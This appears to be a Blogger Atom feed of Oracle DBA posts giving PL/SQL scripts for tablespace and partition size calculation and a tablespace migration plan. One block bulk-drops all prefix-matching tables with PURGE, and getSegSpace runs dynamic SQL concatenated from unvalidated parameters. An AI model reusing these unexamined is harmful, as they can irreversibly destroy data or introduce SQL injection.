<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearch/1.1/' xmlns:georss='http://www.georss.org/georss' xmlns:thr='http://purl.org/syndication/thread/1.0' xmlns:gd='http://schemas.google.com/g/2005' gd:etag='W/&quot;A0ECRXg-fyp7ImA9WhdaFUw.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004</id><updated>2011-10-24T22:14:24.657-07:00</updated><category term='space'/><category term='AOP'/><category term='debug'/><category term='hack'/><category term='ant'/><category term='Eclipse 3.4.1'/><category term='empty'/><category term='cache'/><category term='security'/><category term='procedure'/><category term='pl/sql'/><category term='ORA-1652'/><category term='open resource'/><category term='Geek'/><category term='size'/><category term='Oracle'/><category term='Java'/><category term='chrome'/><category term='java heap stack'/><category term='not working'/><category term='ganymede'/><category term='fragmentaion'/><category term='sql query'/><category term='script'/><category term='Electronic devices'/><category term='partition'/><category term='tablespace'/><category term='eclipse'/><category term='Sequence'/><category term='database'/><title>The Tech Chronicles</title><subtitle type='html'>My learnings, solutions and experiences with the world of technology</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default?redirect=false&amp;v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>24</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry gd:etag='W/&quot;CE8BQHk6fCp7ImA9WhdbEEw.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-7097092092816572816</id><published>2011-10-07T11:40:00.000-07:00</published><updated>2011-10-07T11:40:51.714-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-10-07T11:40:51.714-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='pl/sql'/><category scheme='http://www.blogger.com/atom/ns#' term='tablespace'/><category scheme='http://www.blogger.com/atom/ns#' term='sql query'/><category scheme='http://www.blogger.com/atom/ns#' term='Oracle'/><category scheme='http://www.blogger.com/atom/ns#' term='script'/><title>Oracle plsql procedured for table/tablespace size calculation</title><content type='html'>
To list partitions of a table 

&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; select partition_name from user_tab_partitions  
 where table_name='&amp;lt;tablename&amp;gt;'  
 and tablespace_name='&amp;lt;tablespace_name&amp;gt;'  
 order by partition_position;  
&lt;/code&gt;&lt;/pre&gt;


Pl/sql script to drop tables beginning with prefix

&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; --------------------------------------------------------------------  
 -- Delete tables starting with prefix  
 --------------------------------------------------------------------  
 DECLARE  
    v_stmt_del varchar2(200);  
    tabname varchar2(200);  
    cursor c1 is select table_name from dba_tables where table_name like 'TABPREFIX_N%';  
   begin  
    open c1;  
    loop  
        fetch c1 into tabname;  
        exit when c1%notfound;  
        v_stmt_del := 'drop table &amp;lt;tablespace&amp;gt;.' || tabname || ' purge';  
        dbms_output.put_line(v_stmt_del);  
        execute immediate v_stmt_del;  
   end loop;  
   close c1;  
  end;  
  /  
&lt;/code&gt;&lt;/pre&gt;


SQL query to print space used in tablespaces grouped by tablespace name

&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; ----------------------------------------------------------------------------------------------------------------------  
 space in tablespaces  
 ----------------------------------------------------------------------------------------------------------------------  
 select d.status,  
  db.name dbname,  
  d.tablespace_name tsname,  
  d.extent_management,  
  d.allocation_type,  
  to_char(nvl(d.min_extlen / 1024, 0),  
   '99G999G990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
   "ALLOC_SIZE (K)",  
  d.contents "Type",  
 case  
 when(d.contents = 'TEMPORARY') then  
  to_char(nvl(a.bytes / 1024 / 1024, 0),  
  '99G999G990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
 else  
  to_char(nvl(t.bytes / 1024 / 1024, 0),  
  '99G999G990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
 end as "Size (M)",  
  to_char(nvl((a.bytes - nvl(f.bytes, 0)) / 1024 / 1024,  0),  
  '99G999G990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
  "Used (M)",  
  to_char(nvl((a.bytes - nvl(f.bytes, 0)) / a.bytes * 100,  0),  
  '990D90', 'NLS_NUMERIC_CHARACTERS = '',.'' ')  
  "Used (%)"  
 from sys.dba_tablespaces d,  
   (select tablespace_name,  
    sum(bytes) bytes  
   from dba_data_files  
   group by tablespace_name)  
 a,  
   (select tablespace_name,  
    sum(bytes) bytes  
   from dba_temp_files  
   group by tablespace_name)  
 t,  
   (select tablespace_name,  
    sum(bytes) bytes  
   from dba_free_space  
   group by tablespace_name)  
 f,  
  v$database db  
 where d.tablespace_name = a.tablespace_name(+)  
  and d.tablespace_name = f.tablespace_name(+)  
  and d.tablespace_name = t.tablespace_name(+)  
 order by 10 desc;  
&lt;/code&gt;&lt;/pre&gt;


&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-7097092092816572816?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/7097092092816572816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/10/oracle-plsql-procedured-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7097092092816572816?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/7097092092816572816?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/10/oracle-plsql-procedured-for.html' title='Oracle plsql procedured for table/tablespace size calculation'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CEYHQHk7eCp7ImA9WhdbEEw.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-1120314399838950051</id><published>2011-10-07T11:20:00.000-07:00</published><updated>2011-10-07T11:28:51.700-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-10-07T11:28:51.700-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='partition'/><category scheme='http://www.blogger.com/atom/ns#' term='pl/sql'/><category scheme='http://www.blogger.com/atom/ns#' term='Oracle'/><category scheme='http://www.blogger.com/atom/ns#' term='procedure'/><title>Show space occupied by each partition of table</title><content type='html'>Oracle plsql procedure to print size details of table (partitioned and non-partitioned)

&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; -------------------------------------------------------------------------------------------------------------  
 ------ ######## show_space : prints space of a single partition or a table ---------------------------------  
 -------------------------------------------------------------------------------------------------------------  
 create or replace  
 procedure show_space  
 ( p_segname in varchar2,  
  p_owner  in varchar2 default user,  
  p_type  in varchar2 default 'TABLE',  
  p_partition in varchar2 default NULL )  
 authid current_user  
 as  
   l_free_blks         number;  
   l_total_blocks       number;  
   l_total_bytes        number;  
   l_unused_blocks       number;  
   l_unused_bytes       number;  
   l_LastUsedExtFileId     number;  
   l_LastUsedExtBlockId    number;  
   l_LAST_USED_BLOCK      number;  
   t_segment_space_management varchar2(10);  
   l_unformatted_blocks     number;  
   L_FS1_BLOCKS          number;  
   L_FS2_BLOCKS          number;  
   L_FS3_BLOCKS          number;  
   L_FS4_BLOCKS          number;  
   L_FULL_BLOCKS          number;  
   L_UNFORMATTED_BYTES          number;  
   L_FS1_BYTES               number;  
   L_FS2_BYTES               number;  
   L_FS3_BYTES               number;  
   L_FS4_BYTES               number;  
   L_FULL_BYTES          number;  
   procedure p( p_label in varchar2, p_num in number )  
   is  
   begin  
     dbms_output.put_line(p_label || p_num);  
     --dbms_output.put_line( rpad(p_label,40,'.') ||p_num );  
   end;  
 begin  
   for x in ( select tablespace_name from dba_tablespaces where tablespace_name IN ( select tablespace_name from dba_segments where segment_type = p_type AND segment_name = p_segname))  
   loop  
   if p_partition is not null  
   then  
        select ts.segment_space_management  
      into  t_segment_space_management  
      from  dba_segments   seg  
  ,       dba_tablespaces ts  
      where seg.segment_name  = p_segname  
         and  seg.owner      = p_owner  
         and  seg.tablespace_name = ts.tablespace_name  
         AND SEG.PARTITION_NAME = p_partition;  
   else  
         select ts.segment_space_management  
           into  t_segment_space_management  
           from  dba_segments   seg  
        ,       dba_tablespaces ts  
           where seg.segment_name  = p_segname  
              and  seg.owner      = p_owner  
         and  seg.tablespace_name = ts.tablespace_name;  
   end if;  
   if t_segment_space_management = 'AUTO'  
  then  
    dbms_space.space_usage (  
     p_owner,  
     p_segname,  
     p_type,  
     l_unformatted_blocks,  
     l_unformatted_bytes,  
     l_fs1_blocks, l_fs1_bytes,  
     l_fs2_blocks, l_fs2_bytes,  
     l_fs3_blocks, l_fs3_bytes,  
     l_fs4_blocks, l_fs4_bytes,  
     l_full_blocks, l_full_bytes,  
     p_partition  
    );  
    --  
    p( 'Unformatted Blocks ', l_unformatted_blocks );  
    p( 'FS1 Blocks (0-25) ', l_fs1_blocks );  
    p( 'FS2 Blocks (25-50) ', l_fs2_blocks );  
    p( 'FS3 Blocks (50-75) ', l_fs3_blocks );  
    p( 'FS4 Blocks (75-100)', l_fs4_blocks );  
    p( 'Full Blocks    ', l_full_blocks );  
    else  
    dbms_space.free_blocks(  
     p_owner,  
     p_segname,  
     p_type,  
     0,  
     l_free_blks,  
     NULL,  
     p_partition);  
    --  
    dbms_output.put_line('Free Blocks' || l_free_blks);  
    p( 'Free Blocks', l_free_blks );  
  end if;  
   end loop;  
   dbms_space.unused_space  
   ( p_owner,  
    p_segname,  
    p_type,  
    l_total_blocks,  
    l_total_bytes,  
    l_unused_blocks,  
    l_unused_bytes,  
    l_LastUsedExtFileId,  
    l_LastUsedExtBlockId,  
    l_LAST_USED_BLOCK,  
    p_partition);  
   p( 'Free Blocks', l_free_blks );  
   p( 'Total Blocks', l_total_blocks );  
   p( 'Total Bytes', l_total_bytes );  
   p( 'Total MBytes ' || p_segname || ',' || p_partition || '=', trunc(l_total_bytes/1024/1024) );  
   p( 'Unused Blocks', l_unused_blocks );  
   p( 'Unused Bytes', l_unused_bytes );  
   p( 'Last Used Ext FileId', l_LastUsedExtFileId );  
   p( 'Last Used Ext BlockId', l_LastUsedExtBlockId );  
   p( 'Last Used Block', l_LAST_USED_BLOCK );  
 end;  
 /  
&lt;/code&gt;&lt;/pre&gt;


&lt;b&gt;Print size of all partitions of a table or the size of the table if not partitions, using show_space&lt;/b&gt;

&lt;br /&gt;
&lt;pre style="background-image: URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif); background: #f0f0f0; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; -----------------------------------------------------------------------------------------------------------------------------------------------  
 ------ ######## print_size : prints size of all partitions of a table or the size of table if its not partitioned ----------------------------  
 -----------------------------------------------------------------------------------------------------------------------------------------------  
  create or replace  
  procedure print_size  
  ( p_segname in varchar2,  
   p_owner  in varchar2 default user,  
   p_type  in varchar2 default 'TABLE')  
  authid current_user  
  as  
      pname dba_tab_partitions.partition_name%type;  
      cursor c1 is select partition_name from dba_tab_partitions where table_name = p_segname;  
  begin  
       if p_type = 'TABLE PARTITION'  
       then  
           open c1;  
           loop  
                     fetch c1 into pname;  
                     EXIT WHEN c1%NOTFOUND;  
                     dbms_output.put_line('Executing' || pname);  
                     show_space(p_segname, p_owner, p_type, pname);  
                end loop;  
           close c1;  
      else  
           show_space(p_segname, p_owner, p_type, null);  
      end if;  
  end;  
  /  
&lt;/code&gt;&lt;/pre&gt;
print the size of 

&lt;/div&gt;



&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; --------------------------------------------------------------------------------------------------------  
 ------ ######## anonymous proc : get size of all tables with name like SUM% ----------------------------  
 --------------------------------------------------------------------------------------------------------  
  declare  
     tabrec dba_tables%rowtype;  
       cursor c1 is select * from dba_tables where table_name like 'SUM%' and PARTITIONED = 'NO';  
  begin  
       open c1;  
       loop  
            fetch c1 into tabrec;  
            exit when c1%notfound;  
            print_size(tabrec.table_name, tabrec.owner, 'TABLE');  
       end loop;  
       close c1;  
  end;  
  /  
&lt;/code&gt;&lt;/pre&gt;


&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; --------------------------------------------------------------------------------------------------------  
 ------ ######## anonymous proc : get name of all partitioned tables that are like SUM% ----------------  
 --------------------------------------------------------------------------------------------------------  
  declare  
      tabrec dba_tables%rowtype;  
        cursor c1 is select * from dba_tables where table_name like 'SUM%' and PARTITIONED = 'YES';  
   begin  
        open c1;  
        loop  
             fetch c1 into tabrec;  
             exit when c1%notfound;  
             print_size(tabrec.table_name, tabrec.owner, 'TABLE PARTITION');  
        end loop;  
        close c1;  
   end;  
  /  
&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5828130103564874004-1120314399838950051?l=thechronicles-archit.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thechronicles-archit.blogspot.com/feeds/1120314399838950051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/10/show-space-occupied-by-each-partition.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/1120314399838950051?v=2'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5828130103564874004/posts/default/1120314399838950051?v=2'/><link rel='alternate' type='text/html' href='http://thechronicles-archit.blogspot.com/2011/10/show-space-occupied-by-each-partition.html' title='Show space occupied by each partition of table'/><author><name>Archit</name><uri>http://www.blogger.com/profile/12154496247265521997</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total></entry><entry gd:etag='W/&quot;CkQHQn8-fCp7ImA9WhdbEEw.&quot;'><id>tag:blogger.com,1999:blog-5828130103564874004.post-8918296295469210887</id><published>2011-10-07T09:44:00.000-07:00</published><updated>2011-10-07T10:58:53.154-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2011-10-07T10:58:53.154-07:00</app:edited><category scheme='http://www.blogger.com/atom/ns#' term='ORA-1652'/><category scheme='http://www.blogger.com/atom/ns#' term='space'/><category scheme='http://www.blogger.com/atom/ns#' term='pl/sql'/><category scheme='http://www.blogger.com/atom/ns#' term='tablespace'/><category scheme='http://www.blogger.com/atom/ns#' term='fragmentaion'/><category scheme='http://www.blogger.com/atom/ns#' term='Oracle'/><category scheme='http://www.blogger.com/atom/ns#' term='size'/><title>Oracle space required for table partition copy</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
In a recent task we had a task to move oracle tables from one tablespace to the other. The motivation came due to excessive fragmentation at the tablespace level (&lt;span class="Apple-style-span" style="background-color: white; font-family: Arial, Helvetica, FreeSans, sans-serif; font-size: 13px; line-height: 17px;"&gt;both honeycomb and bubble). A nice explanation to the tablespace level fragmentation and is resolution strategy can be found here (&lt;/span&gt;&lt;a href="http://www.dbspecialists.com/files/presentations/dw_space.html"&gt;http://www.dbspecialists.com/files/presentations/dw_space.html&lt;/a&gt;).&lt;br /&gt;
&lt;br /&gt;
The potential problem was online copy of the tables (with only reads, no writes should be happening). The advantages we had were&lt;br /&gt;
&lt;br /&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;tables were partitioned&lt;/li&gt;
&lt;li&gt;Indexes on the table were local indexes (partitioned indexes)&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
The problems were&lt;/div&gt;
&lt;div&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;We only had a small space left as the data files were growing out of bounds so we had to move one table at a time&lt;/li&gt;
&lt;li&gt;Due to heavy fragmentation and tables occupying the &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:492636200346818072"&gt;higher water mark&lt;/a&gt;, move of one table might not solve the issue&lt;/li&gt;
&lt;li&gt;We had to do the move online as tables were being read from servers (but not updated). Update happened only once in a day for a few hours.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Strategy&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
What we planned was&lt;/div&gt;
&lt;div&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;Move the largest table first to get maximum space released from the tablespace.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;If the &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:492636200346818072"&gt;higher water mark&lt;/a&gt;&amp;nbsp;got free, we could shrink the tablespace and free up the files to allocate it to the new tablespace as defined to resolve the &lt;a href="http://www.dbspecialists.com/files/presentations/dw_space.html"&gt;fragmentation issues&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Allocate the freed up files to the new tablespace and move more tablespaces to it.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
** We did get into more trouble as the step 2 did not work out. More on that later.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Execution&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
We came up with a script to copy the partitioned tables to the new tablespace. The script did the following&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;Group partitions in a batch from the old table which are still&amp;nbsp;in the old tablespace&lt;/li&gt;
&lt;li&gt;for each batch&lt;/li&gt;
&lt;li&gt;&lt;u&gt;&lt;i&gt;&lt;b&gt;Check space available in the new tablespace for the batch copy&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;&lt;/li&gt;
&lt;li&gt;If space not available exit, else&lt;/li&gt;
&lt;li&gt;for each partition in the batch&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;open an sqlplus session&lt;/li&gt;
&lt;li&gt;create a table from the old table partition in the new tablespace&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;create table &lt;newtable_pi&gt; as select * from &lt;oldtable&gt; partition (&lt;oldtable_pi&gt;)&lt;/oldtable_pi&gt;&lt;/oldtable&gt;&lt;/newtable_pi&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;li&gt;create index on the &lt;newtable_pi&gt;&lt;/newtable_pi&gt;&lt;/li&gt;
&lt;li&gt;exchange partition &lt;pi&gt; with the new table created in the new tablespace&lt;/pi&gt;&lt;/li&gt;
&lt;ol&gt;
&lt;li&gt;alter table &lt;oldtable&gt;&amp;nbsp;exchange partition &amp;nbsp;&lt;oldtable_pi&gt; with table &lt;newtable_pi&gt; including indexes without validation;&lt;/newtable_pi&gt;&lt;/oldtable_pi&gt;&lt;/oldtable&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;li&gt;drop the exchanged old table&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;li&gt;Goto step 2.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
The whole exercise had a lot of learning for me, but the one I am going to highlight in this post is step 3.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class="Apple-style-span" style="font-size: large;"&gt;Calculating size&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
What the size calculation script would do is&lt;/div&gt;
&lt;div&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;Get total available free space in the new tablespace, say, availableNewTS&lt;/li&gt;
&lt;li&gt;Get the space occupied in the old tablespace by each partition and the index on the partition, say, requiredOldTS&lt;/li&gt;
&lt;li&gt;return availableNewTS &amp;gt; requiredOldTS, else exit&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;u style="font-weight: bold;"&gt;Step 1:&lt;/u&gt;&amp;nbsp;- &lt;b&gt;Calculating available free space in the new tablespace&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
The following plsql function does the job&lt;/div&gt;
&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; FUNCTION getTsSpace(tsname varchar2) return Number   
    is        
      availableSizeInMB Number;   
    BEGIN        
       SELECT nvl(nvl(a.bytes, 0)/1024/1024,0) + nvl(nvl(f.bytes, 0) / 1024 / 1024, 0) into availableSizeInMB   
       FROM dba_tablespaces d   
       left join    
        ( SELECT tablespace_name, (sum(maxbytes) - sum(bytes)) bytes    
        FROM dba_data_files   
        group by tablespace_name) a on d.tablespace_name = a.tablespace_name   
       left join   
        ( SELECT tablespace_name,sum(bytes) bytes   
        FROM dba_free_space   
        group by tablespace_name) f on d.tablespace_name = f.tablespace_name   
      WHERE d.tablespace_name = tsname;   
      return availableSizeInMB;   
      EXCEPTION    
         when NO_DATA_FOUND   
         then   
           DBMS_OUTPUT.PUT_LINE('Probably tablespace does not exist - ' || tsname);   
            NULL;                      
    END;   
&lt;/code&gt;&lt;/pre&gt;

What the function above does is&lt;/div&gt;
&lt;div&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;Get the maxbytes = maximum extendable size of the datafile from dba_data_files view&lt;/li&gt;
&lt;li&gt;Get the bytes = current size of the datafile from dba_data_files&lt;/li&gt;
&lt;li&gt;(1-2) = size that is still available to the datafile to be extended to&lt;/li&gt;
&lt;li&gt;Get bytes from dba_free_space = free space in the datafile (space that is not currently been allocated to any segment)&lt;/li&gt;
&lt;li&gt;(4+3) = total space that is available in the tablespace to be allocated to any segment&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u style="font-weight: bold;"&gt;Step 2:&lt;/u&gt;&amp;nbsp;&lt;b&gt;Calculating space occupied by the table in the old tablespace&lt;/b&gt;&lt;/div&gt;
&lt;pre  style="font-family:arial;font-size:12px;border:1px dashed #CCCCCC;width:99%;height:auto;overflow:auto;background:#f0f0f0;;background-image:URL(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif);padding:0px;color:#000000;text-align:left;line-height:20px;"&gt;&lt;code style="color:#000000;word-wrap:normal;"&gt; --------------------------------------------------    
  - Function to get segment space   
  --------------------------------------------------         
  FUNCTION getSegSpace(tabname varchar2, segmentOTs varchar2, segType varchar2, partns varchar2) return number     
  is   
    var_select_stmt varchar2(2000);   
    partitionsIn varchar2(500);   
    requiredSizeInMB Number;   
  BEGIN   
    -- hack : to get the in-clause string is passed from script with separator as @ char and here it is   
    -- replaced to make it in format of IN clause of string    
    select '''' || regexp_replace(partns,'@', ''',''') || '''' into partitionsIn from dual;       
    var_select_stmt := 'SELECT sum(bytes)/1024/1024 FROM dba_segments WHERE segment_name=''' || tabname || ''' and segment_type=''' || segType || ''' and tablespace_name=''' || segmentOTs || ''' and partition_name in (' || partitionsIn || ') group by tablespace_name';   
    EXECUTE IMMEDIATE var_select_stmt into requiredSizeInMB;       
    return requiredSizeInMB;   
    EXCEPTION   
    when NO_DATA_FOUND   
      then           
         raise_application_error(-20101, 'No data found for - ' || partitionsIn || ' in tablespace ' || segmentOTs);   
      NULL;   
  END;   
&lt;/code&gt;&lt;/pre&gt;
What the above function does is calculate segment space for the segment (table or index).&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
tabname - segment name (either table or index name)&lt;/div&gt;
&lt;div&gt;
segmentOTs - old tablespace of the segment&lt;/div&gt;
&lt;div&gt;
segType - type of segment ("TABLE PARTITION" - partitioned table, "INDEX PARTITION" - partitioned index)&lt;/div&gt;
&lt;div&gt;
partns - An @ separated string of partitions whose size is to be calculated. This was a hack that I had to put &amp;nbsp;to pass the name of partitions from a bash script and then use it in the sql as an "IN" clause.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
What the function "getSegSpace" does is&lt;/div&gt;
&lt;div&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;use "dba_segments" to get sum of bytes occupied by the segment "tabname", with segment type as "INDEX PARTITION" or "TABLE_PARTITION" &amp;nbsp;where partition_name is in "partitionsIn" string and which belong to the old tablespace.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;One of the challenges here was getting the IN clause from bash script to the sql. I had to use a regexp_replace to replace the @ symbols with " &lt;single-quote&gt;&lt;comma&gt;&lt;single-quote&gt;". So the bash passes the "partns" argument as "&lt;single-quote&gt;SYS_1231@SYS_4234@SYS_9823&lt;single-quote&gt;" and it gets converted into &lt;single-quote&gt;SYS_1231&lt;single-quote&gt;&lt;comma&gt;&lt;single-quote&gt;SYS_9823&lt;single-quote&gt;&lt;comma&gt;&lt;single-quote&gt;SYS_4234&lt;single-quote&gt; - which is the IN clause required in the dynamic query. The dynamic query was then executed to get the size occupied.&lt;/single-quote&gt;&lt;/single-quote&gt;&lt;/comma&gt;&lt;/single-quote&gt;&lt;/single-quote&gt;&lt;/comma&gt;&lt;/single-quote&gt;&lt;/single-quote&gt;&lt;/single-quote&gt;&lt;/single-quote&gt;&lt;/single-quote&gt;&lt;/comma&gt;&lt;/single-quote&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Related SQL errors&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;ol style="text-align: left;"&gt;
&lt;li&gt;&lt;div class="MsoNormal"&gt;
&lt;span style="color: #1f497d;"&gt;ORA-01652: unable to extend temp
segment by 128 in tablespace SUM_M_PART_INDEX - During migration the space was exhausting in the new tablespace which was the need to write the space calculation script. Hence, before the batch started executing for partition copy we made sure the tablespace had enough space to copy the partitions&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
